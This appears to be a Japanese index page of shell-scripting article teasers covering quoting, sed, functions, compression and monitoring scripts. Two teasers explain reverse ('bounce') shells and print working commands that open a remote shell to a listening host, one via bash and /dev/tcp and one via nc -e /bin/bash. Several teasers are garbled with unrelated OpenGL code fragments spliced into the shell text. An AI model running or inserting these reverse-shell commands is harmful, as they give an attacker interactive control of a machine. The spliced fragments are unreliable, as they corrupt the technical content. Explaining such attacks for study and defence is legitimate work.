• シェルプロセスコントロール入門

    JavaやPHPなどと違い、shのプロセスコントロールは、(以下はPHPのプロセスコントロールの書き方です)のように、空にはできません。 <span style="font-size:18px;">#include<windows.h> #include<gl/gl.h> #include<gl/glut.h> // default vi

    2022-02-09 10:49:54
  • ワンクリックでgithubとgiteeに同時にコードをプッシュするシェルスクリプトの解決法

    複数のgitアドレスに同時にpushしたいものを書いたのですが、その解決方法は以下の通りです。 1. まず、gitを初期化する必要があります。              プロジェクトディレクトリに移動し、git initを実行します。 glGetError() 2. 以下のスクリプトを実行

    2022-02-09 09:28:03
  • Bashのトリック:変数を改行に割り当てる(ファイルが改行で終わっているかどうかを判断するため)

    改行に変数を割り当てる bashでは、改行に変数を割り当てる場合、'˶'˶と書いてもダメで、'$'˶'と書く必要があるんです。例を挙げると、以下のようになります。 $ newline='\n' $ echo $newline \n $ newline=$'\n' $ echo $newline newline変数に'n'を代入すると、nという文字列が得られ、newline

    2022-02-09 06:20:22
  • シェルのダブルクォートとシングルクォートの違いは何ですか?

    1. 例 シェルは、文字列を二重引用符や一重引用符で囲んだり、引用符を使わずに文字列変数を定義するためによく使われます。以下にその例を示します。 str1="testString" //double quotes str2='testString' //single quotes str3=testString //without quotes 文字列変数の定義には、ダブ

    2022-02-09 06:16:18
  • Linuxでよく使われる圧縮形式の圧縮・解凍方法を解説

    .tar 解凍:tar xvf FileName.tar パック:tar cvf FileName.tar DirName (注意:tarは圧縮ではなく、梱包です!) --------------------------------------------- .gz 解凍1:gunzip FileName.gz 解凍2:gzip -d FileN

    2022-02-09 06:03:14
  • シェルにおける機能の簡単な紹介

    関数を使うと、複雑な機能をモジュールに分割することができ、プログラムの構造が明確になり、コードの再利用性が高まります。他のプログラミング言語と同様、シェルは関数をサポートしており、関数は使用する前に定義する必要があります。 1. シェル関数の定義形式 function キーワードで function fun_name() を使って定義することもできますし、関数名 fun_name

    2022-02-09 03:49:10
  • XshellとXftpの無料ダウンロードとインストールと手順(グラフィック)

    1. 以下のXshellの公式サイトにアクセスします。 https://www.netsarang.com/zh/ 2. ダウンロードするソフトウェアを選択します(例:Xshell 3. ホームユーザーとスクールユーザーのための無料ライセンスは、無料ライセンスを選択する https://www.netsarang.com/zh/free-for-home

    2022-02-09 03:16:33
  • シェルスクリプトの戻り値の問題を解決する

    javaやcなどの上級言語を勉強した人なら、関数の戻り値を取得したい場合、関数内にreturnを記述し、関数実行時に戻り結果を変数に代入すればよいでしょう。しかし、シェルスクリプトでは制約が多く、そのような機能を実現しようとすると、若干難しくなります。このあたりは、実際に実験してみたので、メモを共有します。 シェルスクリプトの戻り値にはreturnという引数が使えますが、returnは整数

    2022-02-09 02:39:45
  • ローカル yum ソース設定用ワンクリック・シェル・スクリプト

    その効果は以下の通りです。 コード #! /bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-26 16:30:19 #Name:yumgz.sh #Version:V1.0 CKGZ=$( df -Th | grep -o "iso9660" ) KJGZ=$( cat /etc/fstab | grep -o

    2022-02-08 23:30:29
  • シェルでsedコマンドを使用して特定の行を削除する方法

    sedコマンドは、特定の行を素早く削除できる強力なシェルコマンドです。awkコマンドを使えば、バッチファイルを簡単に操作できます。以下でチェックしてみてください sedコマンドでよく使われる2つのオプション。 -i : ファイルを直接編集する(その場でファイルを編集する)。 -e [デフォルトオプション] : ファイルに変更を加えず、コマンドラインのみに出力する (実行するコ

    2022-02-08 23:18:12
  • シェルスクリプトでの$コマンドの使い方まとめ

        今日は在宅勤務の4日目、徐々に自宅で仕事のリズムの少しを発見し、いくつかのシェルスクリプトを変更し、変更の過程で、まだいくつかの知識のポイントを統合する必要があることがわかった、ここで書き出すには、印象を深めています。    記号は、あなたにとって新しいものではないはずです。シェルスクリプトでは、$はほとんどのことに使われるので、こ

    2022-02-08 23:03:19
  • シェル関数の定義と呼び出しの説明

    I. シェル関数の定義形式 シェル関数定義のフォーマットで、各セクションは以下のように記述されています。 関数 ]などの括弧で囲まれた部分。----はオプション(=任意)です。 your_function_nameの部分 ---- は関数名です。 your_shell_commandsセクション ---- は関数コードです。シェルは通常行単位ですが、1行の区切りとして

    2022-02-08 22:39:42
  • Linux bashのバウンスシェルの原理を簡単に解析してみた

    環境について 攻撃マシン: kali ip: 192.168.25.144 ターゲットマシン:Centos ip:192.168.25.142 プロセス kali はローカルのポート 8888 をリッスンします。 対象マシン centos bounce shellへのコマンド書き込み bash -i >& /dev

    2022-02-08 21:29:08
  • ディスク監視システム導入のためのシェルスクリプト

    シェルスクリプトによる60秒毎のディスクメモリデータ監視の実装 #! /bin/bash #Author:GaoHongYu #QQ:1061767621 #Time:2019-12-24 18:43:22 #Name:ncjk.sh #Version:V1.0 clear xtip=$(hostname -I) cprl=$(df -Th |head -2|tail -1|cut -d

    2022-02-08 20:17:58
  • リナックスバウンスシェルの原理を解説

    フルコマンド バウンスシェルコマンド。 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 ncバウンスシェルを使用する。 nc -lvvp 12345 -t -e /bin/bash プリ

    2022-02-08 14:53:14
  • シェルでスクリプトのパラメータを渡す2つの方法について説明します。

    方法1: $0,$1,$2... 0,1,2...を使用する。注目すべきは、$0がスクリプトのパスとスクリプト名を取得してから、順番に引数を取得していることです。 を使って引数を取得しますが、10個以上の引数を取得することは稀なことです。 1.1 例 test.shファイルの新規作成 #! /bin/bash echo "script$0" echo "first ar

    2022-02-08 14:30:19
  • LinuxのシェルスクリプトでローカルのIPアドレスを取得する方法

    方法1. ifconfig -a ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:" #! /bin/sh ip=`ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|t

    2022-02-08 14:10:16
  • シェルでのsetコマンドの使い方を説明します

    構文 GLint y, GLsizei width, GLsizei height, GLenum format,

    2022-02-08 13:21:35
  • cdコマンドの使用を減らすためのautojumpコマンドのLinux実装

    Linux - autojumpコマンドによるcdコマンドの使用削減 1. autojumpのインストール git clone git://github.com/joelthelion/autojump.git インストール cd autojump . /install.py アンインストール cd autojump . /uninstall.py

    2022-02-08 13:11:16
  • シェルテキスト処理三銃士におけるsedの使用について

    sedはstream editorの略で、主に標準出力やファイルの処理に使用されます。 シンタックス stdout | sed [option] "pattern command" sed [option] "pattern command" file1 共通オプション(option) # -n prints only the silent mode match

    2022-02-08 11:47:57